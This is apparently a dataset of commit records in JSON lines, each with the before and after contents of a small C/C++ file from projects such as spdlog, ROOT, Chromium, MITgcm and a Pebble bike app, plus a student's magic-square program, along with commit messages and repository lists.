{"commit":"2bc4e02f68c599d6a7137e52f6b3080713d80b64","old_file":"include\/kotlib\/compat\/c99.h","new_file":"include\/kotlib\/compat\/c99.h","old_contents":"","new_contents":"\/*!\n * @file  c99.h\n * @brief  Provide C99 compatibility\n * @author  koturn\n *\/\n#ifndef KOTLIB_COMPAT_C99_H\n#define KOTLIB_COMPAT_C99_H\n\n#include \"defsupport.h\"\n\n\n#if defined(_MSC_VER) || KOTLIB_COMPAT_IS_SUPPORT_C99\n#  define __func__  __FUNCTION__\n#endif\n\n\n#ifndef __cplusplus\n#  if defined(_MSC_VER)\n#    define inline      __inline\n#    define __inline__  __inline\n#  elif !defined(__GNUC__) && KOTLIB_COMPAT_IS_SUPPORT_C99\n#    define inline\n#    define __inline\n#  endif\n#endif\n\n\n#if defined(_MSC_VER) && _MSC_VER >= 1400\n#  define restrict      __restrict\n#  define __restrict__  __restrict\n#elif !KOTLIB_COMPAT_IS_SUPPORT_C99\n#  if defined(__GNUC__)\n#    define restrict    __restrict\n#  else\n#    define restrict\n#    define __restrict\n#    define __restrict__\n#  endif\n#endif\n\n\n#endif  \/\/ KOTLIB_COMPAT_C99_H\n","subject":"Add header to provide C99 compatibility","message":"Add header to provide C99 compatibility\n","lang":"C","license":"mit","repos":"koturn\/kotlib,koturn\/kotlib"}
{"commit":"f9804666229069cf31d0a255fce07f24097a03b1","old_file":"pkg\/gridalt\/gridalt_mapping.h","new_file":"pkg\/gridalt\/gridalt_mapping.h","old_contents":"c Alternate grid Mapping Common\nc ------------------------------\n      common \/gridalt_mapping\/ nlperdyn,dpphys0,dpphys\n      integer nlperdyn(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,nSx,Nsy)\n      _RL dpphys0(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dpphys(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n","new_contents":"c Alternate grid Mapping Common\nc ------------------------------\n      common \/gridalt_mapping\/ nlperdyn,dpphys0,dpphys,\n     .                                             dxfalt,dyfalt,drfalt\n      integer nlperdyn(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,nSx,Nsy)\n      _RL dpphys0(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dpphys(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dxfalt,dyfalt,drfalt\n","subject":"Add terms for more general mapping (other than just vertical for fizhi)","message":"Add terms for more general mapping (other than just vertical for fizhi)\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"f22dcf3b7c3f0c49724cb3bb097cef56543b9523","old_file":"2015-2016\/G\/21\/04\/square.c","new_file":"2015-2016\/G\/21\/04\/square.c","old_contents":"#include <stdio.h>\nint isMagic(int squere[3][3])\n{\n    int currSum = 0;\n    int sum = squere[0][0]+squere[0][1]+squere[0][2];\n    int i = 0;\n    for(i=1;i<3;i++)\n    {\n        int j;\n        for(j=0;j<3;j++)\n        {\n            currSum+=squere[i][j];\n        }\n        if(currSum != sum)\n        {\n            return 0;\n        }\n        currSum = 0;\n    }\n    currSum = 0;\n    for(i=0;i<3;i++)\n    {\n        currSum += squere[i][i];\n    }\n    if(currSum!=sum)\n    {\n        return 0;\n    }\n    currSum = 0;\n    int j;\n    for(i=0,j=2;i<3;i++,j--)\n    {\n        currSum += squere[i][j];\n    }\n    if(currSum!=sum)\n    {\n        return 0;\n    }\n    return 1;\n}\n\nint main()\n{\n    int squere[3][3];\n    int i = 0;\n    for(i=0;i<3;i++)\n    {\n        int j = 0;\n        for(j=0;j<3;j++)\n        {\n            scanf(\"%d\",&squere[i][j]);\n        }\n    }\n\n    if(isMagic(squere))\n    {\n        printf(\"Magicheki e\\n\");\n    }\n    else\n    {\n        printf(\"ne e magicheski\\n\");\n    }\n}\n","new_contents":"#include <stdio.h>\nint isMagic(int n,int squere[n][n])\n{\n    int currSum = 0;\n    int sum = 0;\n    int i = 0;\n    for(i=0;i<n;i++)\n    {\n        int j;\n        for(j=0;j<n;j++)\n        {\n            currSum+=squere[i][j];\n        }\n        if(i==0)\n        {\n           sum = currSum;\n        }\n        if(currSum != sum)\n        {\n            return 0;\n        }\n        currSum = 0;\n    }\n    currSum = 0;\n    for(i=0;i<n;i++)\n    {\n        currSum += squere[i][i];\n    }\n    if(currSum!=sum)\n    {\n        return 0;\n    }\n    currSum = 0;\n    int j;\n    for(i=0,j=n-1;i<n;i++,j--)\n    {\n        currSum += squere[i][j];\n    }\n    if(currSum!=sum)\n    {\n        return 0;\n    }\n    return 1;\n}\n\nint main()\n{\n    int n;\n    scanf(\"%d\",&n);\n    int squere[n][n];\n    int i = 0;\n    for(i=0;i<n;i++)\n    {\n        int j = 0;\n        for(j=0;j<n;j++)\n        {\n            scanf(\"%d\",&squere[i][j]);\n        }\n    }\n\n    if(isMagic(n,squere))\n    {\n        printf(\"Magicheki e\\n\");\n    }\n    else\n    {\n        printf(\"ne e magicheski\\n\");\n    }\n}\n","subject":"Make squere.c to work with nXn","message":"Make squere.c to work with nXn\n","lang":"C","license":"mit","repos":"AlexAndreev\/po-homework,Georgigt23\/po-homework,kriss960\/po-homework,VVurbanov\/po-homework,ivanmilevtues\/po-homework,karakonjel\/po-homework,vincho7012\/po-homework,Verbo1806\/po-homework"}
{"commit":"83d192b1f1a6a92dea158f0ff8cbacff94926b17","old_file":"include\/spdlog\/sinks\/sink.h","new_file":"include\/spdlog\/sinks\/sink.h","old_contents":"\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\n#pragma once\n\n#include <spdlog\/details\/log_msg.h>\n\nnamespace spdlog\n{\nnamespace sinks\n{\nclass sink\n{\npublic:\n    sink(): _level( level::trace ) {}\n\n    virtual ~sink() {}\n    virtual void log(const details::log_msg& msg) = 0;\n    virtual void flush() = 0;\n\n    bool should_log(level::level_enum msg_level) const;\n    void set_level(level::level_enum log_level);\n    level::level_enum level() const;\n\nprivate:\n    level_t _level;\n\n};\n\ninline bool sink::should_log(level::level_enum msg_level) const\n{\n    return msg_level >= _level.load(std::memory_order_relaxed);\n}\n\ninline void sink::set_level(level::level_enum log_level)\n{\n    _level.store(log_level);\n}\n\ninline level::level_enum sink::level() const\n{\n    return static_cast<spdlog::level::level_enum>(_level.load(std::memory_order_relaxed));\n}\n\n}\n}\n\n","new_contents":"\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\n#pragma once\n\n#include <spdlog\/details\/log_msg.h>\n\nnamespace spdlog\n{\nnamespace sinks\n{\nclass sink\n{\npublic:\n    sink() { _level = (int)level::trace; }\n\n    virtual ~sink() {}\n    virtual void log(const details::log_msg& msg) = 0;\n    virtual void flush() = 0;\n\n    bool should_log(level::level_enum msg_level) const;\n    void set_level(level::level_enum log_level);\n    level::level_enum level() const;\n\nprivate:\n    level_t _level;\n\n};\n\ninline bool sink::should_log(level::level_enum msg_level) const\n{\n    return msg_level >= _level.load(std::memory_order_relaxed);\n}\n\ninline void sink::set_level(level::level_enum log_level)\n{\n    _level.store(log_level);\n}\n\ninline level::level_enum sink::level() const\n{\n    return static_cast<spdlog::level::level_enum>(_level.load(std::memory_order_relaxed));\n}\n\n}\n}\n\n","subject":"Fix compilation error C2664 on VS2013","message":"Fix compilation error C2664  on VS2013\n\nNo converting constructor\n","lang":"C","license":"mit","repos":"icylord\/spdlog,hunter-packages\/spdlog,hunter-packages\/spdlog,COMBINE-lab\/spdlog,mihadyuk\/spdlog,mihadyuk\/spdlog,icylord\/spdlog,godbyk\/spdlog,godbyk\/spdlog,mihadyuk\/spdlog,icylord\/spdlog,COMBINE-lab\/spdlog,godbyk\/spdlog,hunter-packages\/spdlog,COMBINE-lab\/spdlog"}
{"commit":"f0f64f7df90f281af279ec66c1432b2538ddcb77","old_file":"test2\/parsing\/sizeof_expr.c","new_file":"test2\/parsing\/sizeof_expr.c","old_contents":"\/\/ RUN: %ocheck 0 %s\n\ntypedef struct\n{\n\tint x;\n} A;\n\nmain()\n{\n\tint sz = sizeof((A *)0)->x;\n\tif(sz != sizeof(int))\n\t\tabort();\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ocheck 0 %s\n\ntypedef struct\n{\n\tint x;\n} A;\n\nmain()\n{\n\tint sz = sizeof((A *)0)->x;\n\tif(sz != sizeof(int))\n\t\tabort();\n\n\tint ar[10];\n\tsz = sizeof(ar)[0];\n\tif(sz != sizeof(int))\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Add array size check to sizeof() test","message":"Add array size check to sizeof() test\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"ad8d0dbeae32fb2d5eae1296e9bee2baadb3db66","old_file":"pebblebike\/src\/screen_map.h","new_file":"pebblebike\/src\/screen_map.h","old_contents":"#ifndef SCREEN_MAP_H\n#define SCREEN_MAP_H\n\n\/\/ in meters\/pixels\n#define MAP_SCALE_MIN 250\n#define MAP_SCALE_MAX 64000\n#define MAP_SCALE_INI (MAP_SCALE_MIN*8)\n\n#define MAP_VSIZE_X 4000\n#define MAP_VSIZE_Y 4000\n\n#define XINI MAP_VSIZE_X\/2\n#define YINI MAP_VSIZE_Y\/2\n\n\/\/ external variables (debug purpose)\nextern int map_scale;\nextern int nb_points;\n\nvoid screen_map_zoom_in(int factor);\nvoid screen_map_zoom_out(int factor);\nvoid screen_map_update_location();\nvoid screen_map_layer_init(Window* window);\nvoid screen_map_layer_deinit();\nvoid screen_map_update_map(bool force_recenter);\n\n#endif \/\/ SCREEN_MAP_H\n","new_contents":"#ifndef SCREEN_MAP_H\n#define SCREEN_MAP_H\n\n\/\/ at level 7 (MAP_SCALE=16000), the screen width is approximatively 14.5km => 100m\/px)\n\/\/ level 1: MAP_SCALE=250 => 1.5m\/px - screen 225m\n\/\/ level 8: MAP_SCALE_MAX 32000 => 200m\/px - screen: 29km\n#define MAP_SCALE_MIN 250\n#define MAP_SCALE_MAX 32000\n\/\/2000=MAP_SCALE_MIN * 8 => level 4 (250-500-1000-2000)\n#define MAP_SCALE_INI 2000\n\n#define MAP_VSIZE_X 4000\n#define MAP_VSIZE_Y 4000\n\n#define XINI MAP_VSIZE_X\/2\n#define YINI MAP_VSIZE_Y\/2\n\n\/\/ external variables (debug purpose)\nextern int map_scale;\nextern int nb_points;\n\nvoid screen_map_zoom_in(int factor);\nvoid screen_map_zoom_out(int factor);\nvoid screen_map_update_location();\nvoid screen_map_layer_init(Window* window);\nvoid screen_map_layer_deinit();\nvoid screen_map_update_map(bool force_recenter);\n\n#endif \/\/ SCREEN_MAP_H\n","subject":"Add a zoom level + comments","message":"Add a zoom level + comments\n","lang":"C","license":"mit","repos":"jay3\/Ventoo-PebbleWatchFace,pebble-bike\/PebbleBike-PebbleWatchFace,team-mount-ventoux\/PebbleVentoo-WatchFace,team-mount-ventoux\/PebbleVentoo-WatchFace,ventoo-bike\/Ventoo-PebbleWatchFace,ventoo-bike\/Ventoo-PebbleWatchFace,team-mount-ventoux\/PebbleVentoo-WatchFace,jay3\/PebbleBike-PebbleWatchFace,team-mount-ventoux\/PebbleVentoo-WatchFace,pebble-bike\/PebbleBike-PebbleWatchFace,jay3\/PebbleBike-PebbleWatchFace,team-mount-ventoux\/PebbleVentoo-WatchFace,jay3\/PebbleBike-PebbleWatchFace,jay3\/Ventoo-PebbleWatchFace,ventoo-bike\/Ventoo-PebbleWatchFace,ventoo-bike\/Ventoo-PebbleWatchFace,jay3\/Ventoo-PebbleWatchFace,jay3\/Ventoo-PebbleWatchFace,ventoo-bike\/Ventoo-PebbleWatchFace,jay3\/Ventoo-PebbleWatchFace,pebble-bike\/PebbleBike-PebbleWatchFace"}
{"commit":"3002c25d88f54003ea38cdb0d6091b4a8b593d3e","old_file":"meta\/inc\/TVirtualIsAProxy.h","new_file":"meta\/inc\/TVirtualIsAProxy.h","old_contents":"\/\/ @(#)root\/meta:$Name:  $:$Id: TVirtualIsAProxy.h,v 1.1 2005\/05\/27 16:42:58 pcanal Exp $\n\/\/ Author: Markus Frank 20\/05\/2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVirtualIsAProxy\n#define ROOT_TVirtualIsAProxy\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TClass                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Virtual IsAProxy base class.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass TVirtualIsAProxy  {\npublic:\n   virtual ~TVirtualIsAProxy() { }\n   virtual void SetClass(TClass *cl) = 0;\n   virtual TClass* operator()(const void *obj) = 0;\n};\n\n#endif \/\/ ROOT_TVirtualIsAProxy\n","new_contents":"\/\/ @(#)root\/meta:$Name:  $:$Id: TVirtualIsAProxy.h,v 1.2 2005\/06\/08 18:51:36 rdm Exp $\n\/\/ Author: Markus Frank 20\/05\/2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVirtualIsAProxy\n#define ROOT_TVirtualIsAProxy\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TClass                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Virtual IsAProxy base class.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass TClass;\n\nclass TVirtualIsAProxy  {\npublic:\n   virtual ~TVirtualIsAProxy() { }\n   virtual void SetClass(TClass *cl) = 0;\n   virtual TClass* operator()(const void *obj) = 0;\n};\n\n#endif \/\/ ROOT_TVirtualIsAProxy\n","subject":"Add the necessary includes and forward declarations such that the class can be compiled independently.","message":"Add the necessary includes and forward declarations such that the class can be compiled independently.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@19581 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"abhinavmoudgil95\/root,veprbl\/root,alexschlueter\/cern-root,simonpf\/root,sawenzel\/root,bbockelm\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,agarciamontoro\/root,georgtroska\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,gbitzes\/root,simonpf\/root,strykejern\/TTreeReader,agarciamontoro\/root,mkret2\/root,smarinac\/root,bbockelm\/root,root-mirror\/root,pspe\/root,krafczyk\/root,gbitzes\/root,0x0all\/ROOT,mattkretz\/root,dfunke\/root,veprbl\/root,vukasinmilosevic\/root,lgiommi\/root,mkret2\/root,perovic\/root,arch1tect0r\/root,krafczyk\/root,ffurano\/root5,alexschlueter\/cern-root,sawenzel\/root,evgeny-boger\/root,bbockelm\/root,gganis\/root,root-mirror\/root,satyarth934\/root,beniz\/root,abhinavmoudgil95\/root,vukasinmilosevic\/root,karies\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,lgiommi\/root,nilqed\/root,gbitzes\/root,gganis\/root,dfunke\/root,cxx-hep\/root-cern,omazapa\/root,beniz\/root,omazapa\/root-old,strykejern\/TTreeReader,tc3t\/qoot,agarciamontoro\/root,alexschlueter\/cern-root,tc3t\/qoot,cxx-hep\/root-cern,BerserkerTroll\/root,root-mirror\/root,Duraznos\/root,perovic\/root,gbitzes\/root,krafczyk\/root,vukasinmilosevic\/root,esakellari\/my_root_for_test,evgeny-boger\/root,dfunke\/root,sirinath\/root,arch1tect0r\/root,nilqed\/root,sbinet\/cxx-root,lgiommi\/root,sbinet\/cxx-root,arch1tect0r\/root,strykejern\/TTreeReader,gganis\/root,esakellari\/root,kirbyherm\/root-r-tools,Y--\/root,zzxuanyuan\/root,CristinaCristescu\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,olifre\/root,sirinath\/root,omazapa\/root,evgeny-boger\/root,davidlt\/root,abhinavmoudgil95\/root,sawenzel\/root,root-mirror\/root,Duraznos\/root,bbockelm\/root,Y--\/root,abhinavmoudgil95\/root,CristinaCristescu\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,ffurano\/root5,davidlt\/root,ffurano\/root5,sawenzel\/root,gganis\/root,veprbl\/root,nilqed\/root,perovic\/root,Duraznos\/root,mhuwiler\/rootauto,gbitzes\/root,Dr15Jones\/root,davidlt\/root,kirbyherm\/root-r-tools,0x0all\/ROOT,esakellari\/my_root_for_test,sirinath\/root,BerserkerTroll\/root,arch1tect0r\/root,georgtroska\/root,Duraznos\/root,kirbyherm\/root-r-tools,thomaskeck\/root,veprbl\/root,perovic\/root,gganis\/root,simonpf\/root,Dr15Jones\/root,0x0all\/ROOT,zzxuanyuan\/root,gbitzes\/root,smarinac\/root,satyarth934\/root,kirbyherm\/root-r-tools,georgtroska\/root,esakellari\/root,veprbl\/root,satyarth934\/root,lgiommi\/root,buuck\/root,satyarth934\/root,dfunke\/root,nilqed\/root,jrtomps\/root,olifre\/root,evgeny-boger\/root,zzxuanyuan\/root,mkret2\/root,abhinavmoudgil95\/root,esakellari\/root,arch1tect0r\/root,esakellari\/root,mkret2\/root,jrtomps\/root,simonpf\/root,omazapa\/root,mkret2\/root,omazapa\/root-old,mattkretz\/root,CristinaCristescu\/root,simonpf\/root,buuck\/root,zzxuanyuan\/root,Y--\/root,sawenzel\/root,jrtomps\/root,evgeny-boger\/root,pspe\/root,mhuwiler\/rootauto,karies\/root,dfunke\/root,veprbl\/root,thomaskeck\/root,root-mirror\/root,smarinac\/root,sawenzel\/root,davidlt\/root,evgeny-boger\/root,jrtomps\/root,Dr15Jones\/root,cxx-hep\/root-cern,omazapa\/root-old,karies\/root,sawenzel\/root,simonpf\/root,evgeny-boger\/root,simonpf\/root,Y--\/root,Duraznos\/root,bbockelm\/root,beniz\/root,esakellari\/my_root_for_test,buuck\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,kirbyherm\/root-r-tools,olifre\/root,Y--\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,sirinath\/root,jrtomps\/root,thomaskeck\/root,agarciamontoro\/root,mkret2\/root,thomaskeck\/root,CristinaCristescu\/root,mkret2\/root,Duraznos\/root,tc3t\/qoot,esakellari\/my_root_for_test,mattkretz\/root,davidlt\/root,CristinaCristescu\/root,omazapa\/root,cxx-hep\/root-cern,perovic\/root,georgtroska\/root,veprbl\/root,sbinet\/cxx-root,veprbl\/root,alexschlueter\/cern-root,dfunke\/root,Y--\/root,sirinath\/root,bbockelm\/root,Duraznos\/root,esakellari\/my_root_for_test,dfunke\/root,krafczyk\/root,davidlt\/root,omazapa\/root,ffurano\/root5,sbinet\/cxx-root,agarciamontoro\/root,Dr15Jones\/root,sirinath\/root,jrtomps\/root,arch1tect0r\/root,evgeny-boger\/root,olifre\/root,lgiommi\/root,karies\/root,dfunke\/root,lgiommi\/root,mhuwiler\/rootauto,buuck\/root,lgiommi\/root,nilqed\/root,evgeny-boger\/root,krafczyk\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,georgtroska\/root,vukasinmilosevic\/root,Y--\/root,beniz\/root,thomaskeck\/root,Duraznos\/root,mhuwiler\/rootauto,bbockelm\/root,satyarth934\/root,mattkretz\/root,simonpf\/root,mkret2\/root,omazapa\/root-old,georgtroska\/root,tc3t\/qoot,esakellari\/root,gganis\/root,nilqed\/root,sirinath\/root,mkret2\/root,ffurano\/root5,CristinaCristescu\/root,mkret2\/root,mattkretz\/root,mhuwiler\/rootauto,0x0all\/ROOT,beniz\/root,bbockelm\/root,lgiommi\/root,smarinac\/root,Y--\/root,mhuwiler\/rootauto,BerserkerTroll\/root,pspe\/root,smarinac\/root,gbitzes\/root,esakellari\/my_root_for_test,mhuwiler\/rootauto,0x0all\/ROOT,sbinet\/cxx-root,smarinac\/root,perovic\/root,georgtroska\/root,CristinaCristescu\/root,sbinet\/cxx-root,davidlt\/root,Dr15Jones\/root,tc3t\/qoot,thomaskeck\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,agarciamontoro\/root,pspe\/root,root-mirror\/root,georgtroska\/root,perovic\/root,alexschlueter\/cern-root,abhinavmoudgil95\/root,esakellari\/root,karies\/root,sawenzel\/root,sirinath\/root,zzxuanyuan\/root,olifre\/root,mhuwiler\/rootauto,krafczyk\/root,perovic\/root,sirinath\/root,buuck\/root,mhuwiler\/rootauto,zzxuanyuan\/root,cxx-hep\/root-cern,kirbyherm\/root-r-tools,satyarth934\/root,abhinavmoudgil95\/root,beniz\/root,veprbl\/root,root-mirror\/root,davidlt\/root,arch1tect0r\/root,zzxuanyuan\/root,esakellari\/root,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,Duraznos\/root,karies\/root,olifre\/root,tc3t\/qoot,esakellari\/root,satyarth934\/root,root-mirror\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,smarinac\/root,gbitzes\/root,omazapa\/root,krafczyk\/root,smarinac\/root,omazapa\/root-old,georgtroska\/root,BerserkerTroll\/root,simonpf\/root,veprbl\/root,CristinaCristescu\/root,buuck\/root,nilqed\/root,olifre\/root,tc3t\/qoot,abhinavmoudgil95\/root,satyarth934\/root,tc3t\/qoot,mhuwiler\/rootauto,BerserkerTroll\/root,omazapa\/root-old,bbockelm\/root,vukasinmilosevic\/root,BerserkerTroll\/root,strykejern\/TTreeReader,sirinath\/root,jrtomps\/root,vukasinmilosevic\/root,Dr15Jones\/root,esakellari\/root,Y--\/root,omazapa\/root,omazapa\/root,perovic\/root,buuck\/root,gganis\/root,gbitzes\/root,arch1tect0r\/root,dfunke\/root,beniz\/root,satyarth934\/root,pspe\/root,mattkretz\/root,mattkretz\/root,thomaskeck\/root,root-mirror\/root,satyarth934\/root,pspe\/root,nilqed\/root,perovic\/root,omazapa\/root,karies\/root,sawenzel\/root,0x0all\/ROOT,krafczyk\/root,georgtroska\/root,nilqed\/root,gganis\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,agarciamontoro\/root,agarciamontoro\/root,perovic\/root,gganis\/root,krafczyk\/root,tc3t\/qoot,gbitzes\/root,Y--\/root,agarciamontoro\/root,vukasinmilosevic\/root,krafczyk\/root,thomaskeck\/root,strykejern\/TTreeReader,strykejern\/TTreeReader,omazapa\/root,olifre\/root,BerserkerTroll\/root,beniz\/root,nilqed\/root,0x0all\/ROOT,buuck\/root,beniz\/root,smarinac\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,zzxuanyuan\/root,sbinet\/cxx-root,BerserkerTroll\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,sawenzel\/root,pspe\/root,bbockelm\/root,lgiommi\/root,sbinet\/cxx-root,sirinath\/root,kirbyherm\/root-r-tools,olifre\/root,Dr15Jones\/root,buuck\/root,omazapa\/root-old,mattkretz\/root,Duraznos\/root,jrtomps\/root,mattkretz\/root,omazapa\/root-old,pspe\/root,agarciamontoro\/root,lgiommi\/root,beniz\/root,smarinac\/root,CristinaCristescu\/root,krafczyk\/root,davidlt\/root,sbinet\/cxx-root,evgeny-boger\/root,cxx-hep\/root-cern,buuck\/root,bbockelm\/root,jrtomps\/root,davidlt\/root,Y--\/root,CristinaCristescu\/root,arch1tect0r\/root,BerserkerTroll\/root,0x0all\/ROOT,esakellari\/root,Duraznos\/root,nilqed\/root,jrtomps\/root,mattkretz\/root,zzxuanyuan\/root,jrtomps\/root,gbitzes\/root,gganis\/root,strykejern\/TTreeReader,cxx-hep\/root-cern,BerserkerTroll\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,omazapa\/root-old,zzxuanyuan\/root,mkret2\/root,arch1tect0r\/root,ffurano\/root5,lgiommi\/root,cxx-hep\/root-cern,agarciamontoro\/root,dfunke\/root,davidlt\/root,esakellari\/my_root_for_test,esakellari\/my_root_for_test,beniz\/root,karies\/root,esakellari\/root,root-mirror\/root,evgeny-boger\/root,pspe\/root,mhuwiler\/rootauto,zzxuanyuan\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,georgtroska\/root,abhinavmoudgil95\/root,alexschlueter\/cern-root,mattkretz\/root,olifre\/root,pspe\/root,karies\/root,tc3t\/qoot,gganis\/root,vukasinmilosevic\/root,omazapa\/root,sawenzel\/root,ffurano\/root5,alexschlueter\/cern-root,karies\/root,omazapa\/root-old"}
{"commit":"19c229319206969f13d427bf00bda84203426154","old_file":"views\/controls\/menu\/native_menu_host_delegate.h","new_file":"views\/controls\/menu\/native_menu_host_delegate.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\n","subject":"Add newline to end of file.","message":"Add newline to end of file.\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@80087 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium"}
